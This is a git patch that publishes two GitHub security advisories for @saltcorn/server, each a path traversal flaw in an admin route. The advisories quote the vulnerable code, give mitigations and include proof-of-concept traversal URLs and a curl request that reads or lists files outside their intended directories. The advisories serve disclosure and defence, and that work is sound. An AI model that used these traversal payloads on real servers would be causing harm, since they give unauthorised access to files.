From 13e143547aa4d7843ba8dc9ee6b8f718d560b6ec Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 3 Oct 2024 19:47:45 +0000 Subject: [PATCH] Publish Advisories GHSA-277h-px4m-62q8 GHSA-cfqx-f43m-vfh7 --- .../GHSA-277h-px4m-62q8.json | 72 +++++++++++++++++++ .../GHSA-cfqx-f43m-vfh7.json | 72 +++++++++++++++++++ 2 files changed, 144 insertions(+) create mode 100644 advisories/github-reviewed/2024/10/GHSA-277h-px4m-62q8/GHSA-277h-px4m-62q8.json create mode 100644 advisories/github-reviewed/2024/10/GHSA-cfqx-f43m-vfh7/GHSA-cfqx-f43m-vfh7.json diff --git a/advisories/github-reviewed/2024/10/GHSA-277h-px4m-62q8/GHSA-277h-px4m-62q8.json b/advisories/github-reviewed/2024/10/GHSA-277h-px4m-62q8/GHSA-277h-px4m-62q8.json new file mode 100644 index 00000000000..d375c59b56a --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-277h-px4m-62q8/GHSA-277h-px4m-62q8.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-277h-px4m-62q8", + "modified": "2024-10-03T19:46:12Z", + "published": "2024-10-03T19:46:12Z", + "aliases": [ + + ], + "summary": "@saltcorn/server arbitrary file zip read and download when downloading auto backups", + "details": "### Summary\n\nA user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682\n\n```js\nrouter.get(\n \"/auto-backup-download/:filename\",\n isAdmin,\n error_catcher(async (req, res) => {\n const { filename } = req.params; // [1] source\n [...]\n if (\n !isRoot ||\n !(filename.startsWith(backup_file_prefix) && filename.endsWith(\".zip\")) // [2]\n ) {\n res.redirect(\"/admin/backup\");\n return;\n }\n const auto_backup_directory = getState().getConfig(\"auto_backup_directory\");\n res.download(path.join(auto_backup_directory, filename), filename); // [3] sink\n })\n);\n```\n\n### Steps to reproduce (PoC)\n\n- create a file with `.zip` extension under `/tmp` folder:\n```\necho \"secret12345\" > /tmp/secret.zip\n```\n- log into the application as an admin user\n- visit the url `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip`\n- download the zip file and then check if the zip was indeed downloaded:\n```bash\ncat secret.zip\nsecret12345\n```\n\n \n- Alternatively send the following request to retrieve the file just created.\n```bash\ncurl -i -X $'GET' \\\n -H $'Host: localhost:3000' \\\n -H $'Connection: close' \\\n -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \\\n $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'\n```\n\n**NOTE**:\nTo obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.\n\n### Impact\n\nArbitrary zip files download (information disclosure).\n\n### Recommended Mitigation\n\nResolve the `filename` parameter before checking if it starts with `backup_file_prefix` .", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@saltcorn/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.0.0-beta.14" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.0.0-beta.13" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-277h-px4m-62q8" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192" + }, + { + "type": "PACKAGE", + "url": "https://github.com/saltcorn/saltcorn" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-10-03T19:46:12Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/10/GHSA-cfqx-f43m-vfh7/GHSA-cfqx-f43m-vfh7.json b/advisories/github-reviewed/2024/10/GHSA-cfqx-f43m-vfh7/GHSA-cfqx-f43m-vfh7.json new file mode 100644 index 00000000000..685e7b45bb6 --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-cfqx-f43m-vfh7/GHSA-cfqx-f43m-vfh7.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-cfqx-f43m-vfh7", + "modified": "2024-10-03T19:46:43Z", + "published": "2024-10-03T19:46:42Z", + "aliases": [ + + ], + "summary": "@saltcorn/server arbitrary file and directory listing when accessing build mobile app results", + "details": "### Summary\n\nA user with admin permission can read arbitrary file and directory names on the filesystem by calling the `admin/build-mobile-app/result?build_dir_name=` endpoint. The `build_dir_name` parameter is not properly validated and it's then used to construct the `buildDir` that is read. The file/directory names under the `buildDir` will be returned. \n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L2884-L2893\n\n```js\nrouter.get(\n \"/build-mobile-app/result\",\n isAdmin,\n error_catcher(async (req, res) => {\n const { build_dir_name } = req.query; // [1] source\n const rootFolder = await File.rootFolder();\n const buildDir = path.join(\n rootFolder.location,\n \"mobile_app\",\n build_dir_name // [2]\n );\n const files = await Promise.all(\n fs\n .readdirSync(buildDir) // [3] sink\n .map(async (outFile) => await File.from_file_on_disk(outFile, buildDir))\n );\n [...]\n })\n);\n```\n\n### PoC\n\n- log into the application as an admin user\n- visit the following url: `http://localhost:3000/admin/build-mobile-app/result?build_dir_name=/../../../../../../../../`\n\n\n**NOTE**: it's possible to only see file and directory names but not to download their content.\n\n### Impact\n\nInformation disclosure\n\n### Recommended Mitigation\n\nResolve the `buildDir` and check if it starts with `${rootFolder.location}/mobile_app`.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@saltcorn/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.0.0-beta.14" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.0.0-beta.13" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-cfqx-f43m-vfh7" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/commit/81adaf78430a9b59804894574d67d2a0c7bb3dc5" + }, + { + "type": "PACKAGE", + "url": "https://github.com/saltcorn/saltcorn" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L2884-L2893" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-548" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-10-03T19:46:42Z", + "nvd_published_at": null + } +} \ No newline at end of file